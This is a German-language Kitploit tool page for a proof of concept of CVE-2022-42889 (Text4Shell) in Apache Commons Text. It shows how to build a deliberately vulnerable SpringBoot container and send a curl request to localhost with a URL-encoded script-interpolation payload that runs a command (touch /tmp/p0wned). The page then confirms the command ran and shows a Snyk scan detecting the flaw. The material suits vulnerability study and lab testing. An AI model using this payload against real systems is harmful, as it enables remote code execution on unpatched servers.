Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889 (auch bekannt als Text4Shell) RCE Proof of Concept | Kitploit
Tools/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
Container-SicherheitPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & Bildung
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889 (auch bekannt als Text4Shell) RCE Proof of Concept

Repository anzeigen
213vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-42889 (auch bekannt als Text4Shell) RCE Proof of Concept

Bild

Text4Shell ist der gängige Name einer kritischen Software-Sicherheitslücke, die in der Bibliothek Apache Commons Text entdeckt wurde (siehe CVE-2022-42889).

Dieses Repository soll eine Remote Code Execution (RCE) demonstrieren, die diese CVE ausnutzt.

Der verwundbare Code wird in einem SpringBoot-Controller verwendet, aber lassen Sie sich nicht verwirren, dies IST KEIN SpringBoot/Spring-Sicherheitsproblem.

Vor dem Testen der RCE muss das Docker-Image erstellt werden:

root@kitploit:~
$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

Dann den Container starten:

root@kitploit:~
$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

Schließlich können Sie versuchen, die verwundbare Anwendung mit einer speziell gestalteten URL auszunutzen:

root@kitploit:~
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

Wenn Sie eine Datei namens p0wned im Verzeichnis /tmp des Containers finden, wurde die RCE erfolgreich ausgeführt.

root@kitploit:~
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

Beim Scannen des Images mit Snyk wird die verwundbare Bibliothek erkannt:

root@kitploit:~
$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
Tool herunterladen